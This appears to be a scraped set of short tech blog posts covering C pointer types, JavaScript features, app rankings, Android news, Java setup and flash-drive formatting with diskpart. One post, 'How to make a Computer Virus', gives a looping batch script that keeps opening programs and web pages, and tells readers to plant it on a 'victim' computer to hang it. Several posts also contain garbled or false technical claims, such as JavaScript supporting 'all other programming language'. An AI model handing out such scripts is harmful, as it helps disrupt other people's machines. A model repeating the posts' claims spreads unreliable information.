Types of Pointer in C

Pointer is of five types::

1.Wild pointer:

A pointer which has not been initialized is known as wild pointer.

int *ptr;

printf("%d",*ptr);

//Output: Garbage Value

2.Dangling pointer:

If any pointer is pointing the memory address of any variable but after some variable has deleted from that memory location while pointer is still pointing such memory location. that pointer is known as dangling pointer .

int * call(){

int x=25;

++x;

return &x;

}

int *ptr;

ptr=call();

//Output: Garbage Value

3.Near pointer:

The pointer which can points only 64KB data segment and  cannot access beyond the data segment .the  Size of near pointer is 2 byte.

int near* ptr;

printf(“%d”,sizeof ptr);

//Output: 2

4.Far pointer:

The pointer which can point or access whole memory of RAM. Size of the pointer is 4 byte. We cannot change or modify the segment address of given far address by applying any arithmetic operation on it. 

int far *ptr;

printf("%d",sizeof ptr);

//Output: 4

int far *near*ptr;

printf("%d %d",sizeof(ptr) ,sizeof(*ptr));

//Output: 4 2

Explanation: ptr is far pointer while *ptr is near pointer.

5.Huge pointer:

The pointer which can point or access whole the residence memory of RAM. Size of huge pointer is 4 byte.

Don’t use huge pointer:

 Becouse ..This might be dangerous for your computer.

char huge * far *p;

printf("%d %d %d",sizeof(p),sizeof(*p),sizeof(**p));

//Output: 4 4 1

Explanation: p is huge pointer, *p is far pointer and **p is char type data variable.

double near *p,far *q;

printf("%d %d %d",sizeof(q),sizeof(p),sizeof(*p));

Output: 4 2 8

Explanation: q is far pointer, p is near pointer, *p is double data type constant.

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JavaScript Tutorial Pdf download

JavaScript Tutorial in PDF is available for download 

     Java Script:

• JavaScript  is an interpreted computer programming language.
• JavaScript's use in applications outside of web pages.
• JavaScript is runs on Browser.
• JavaScript is used for Data Validation.
• JavaScript has now become common in server-side programming.
• JavaScript is Prototype based scripting language.
• Java Script copied many thing from java .
• Java and Javascript are not related at all.
• Java Script was developed by Netscape in late 90's
• JavaScript is officially managed by Mozilla Foundation
  
  
  Download a quick Javascript tutorial in PDF format.
  
  
  
  
  
  

  
  

  features of java Script

• JavaScript supports properties  getter and setter functions  conditional catch clauses
•  JavaScript adopted iterator protocol from Python
•  JavaScript  adopted shallow generators-coroutines from Python
•  JavaScript also adopted array comprehensions and generator expressions from Python
•  JavaScript has proper block scope via the let keyword
• JavaScript also supports array and object destructuring (limited form of pattern matching)
•  Java Script has concise function expressions (function(args) expr)
•  Java  Script also supports ECMAScript for XML (E4X), an extension that adds native XML support to ECMAScript
• Java Script support all  other programming language.

                  Download Javascript Tutorial

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How to make a Computer Virus

A batch file is a  text file with the file extension .bat, which is interpreted by the command processor, i.e
M.S Dos.

It contain  some set of commands which is executed automatically when some one click on the file.. so it very easy to make virus by using batch file..

 Now i am going to tell you how to do such stuffs..

 How to make a  Computer Virus?

Ans:for this you must know some of the basics command like. echo,start ,pause, kill ,call etc

Step1 :- open Notepad

Step2:-  copy the following code.

@echo off

:d

start  notepad

start   www.langadda.blogspot.com

start   www.toolsadda.blogsspot.com

start   calc

goto :d

Step 3:- save the file with bat extension. name could be anything.

Step 4:- Now copy this bat file and paste it on victim  computer.

 NOTE:-Don't click the file otherwise this code will hang your PC 

You can make it more complex by inserting some more command with in the label. 

start command will run the applications mentioned .i.e notepad ,calculater,browser. etc

:d is a label.

goto is used to jump the interpreter over the label.

 For any doubt pl z comment...

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Google Maps is now most widely app

Google Maps is now most widely used in worlds according to Global Web Index with the Percentage of 54.Facebook holds second position with 44% followed by You tube and Google+.
Skype is at & position and whats app at 9th.
According to Global Web Index the top ten most accessed apps are follows:
01.   Google Maps - 54%
02.   Facebook - 44%
03.   YouTube -35%
04.   Google+ - 30%
05.   Weixin /We-chat - 27%
06.   Twitter - 22%
07.   Skype - 22%
08.   Facebook Messenger - 22%
09.   Whats-app - 17%
10.   Instagram - 11%

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Find My Phone for Andriod

After a long journey for four years finally Google  launched an Android equivalent to Apple's ,find my phone app ,which is used to track down  missing phone or tabs. The Apple's user using this app since 2009 .
This service will allow you to call your phone and make it ring at maximum volume (even if it is silent) in case it has been misplaced at home and view its location on a map if it was left at a restaurant or somewhere else further . And, if it   was stolen, the owner can quickly and securely remote wipe all information on it.

This service is compatible with Android running on Fro yo and above versions.

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MS office for Andriod

Finally Microsoft has  decided to launch its Office 365 for Android. The software was out since 31 July and its costs a $100-a-year for subscription and it not to be sold separately.  As far now it is only compatible with Android Smartphone that runs on ICS or above, but it is  not for Android tablets . Initially, it’s available only in the U.S, though the company decided to expand  it to other  markets with versions in more than 30 languages.

As per the success of Office 365  for the iPhone's last month, Microsoft  make its product compelling on other platforms too. 

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Installing JAVA AND Setting CLASS PATH

 Installing JAVA AND Setting CLASS PATH

•        Install jdk 7.4(latest version) or any  other lower                    version.
•        Set the class path for running the java program..
•        Left click the my computer option.
•       Click on the properties.
•       Click on system properties.
•       Click on advanced.
•       Click on environment variable.
•       Two different sections will be shown from lower section             select “path” and click on edit
•        Open the location where jdk was installed and go inside              bin. (“C:\Program Files\Java\jdk1.7.0_04\bin”).
•      Copy the address and paste it into variable value but be             careful not to delete previous entries and put”;”.

•         Press OK.

After following these steps only you would be able to run a java program written in a simple text editor ,using dos comrade.

There are various other also various user friendly application which serves as a handy tool (net beans) in creating a java program and compiling it and running it without going through above stated points.

But as a beginner users are advised to create the program in notepad or any other text editors and compile them and run them through DOS. It will help in understanding java concept clearly.

Compiling and running a java program after the class path is set will be discussed in next post.....

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How to format corrupted or write protected flash drive

To format corrupted or write protected flash drive please follow the steps:- 

1. Open command prompt as administrator.
2. Type diskpart.
3. Type list disk.It will generate a list of drive attached to the system.
4. Type select disk n.(n=disk which is corrupted and you want to format.)
5. Type clean.
6. Type create partition primary.
7. Type select partition 1.
8. Type assign.
9. Type format.(flash drive begin to format.)

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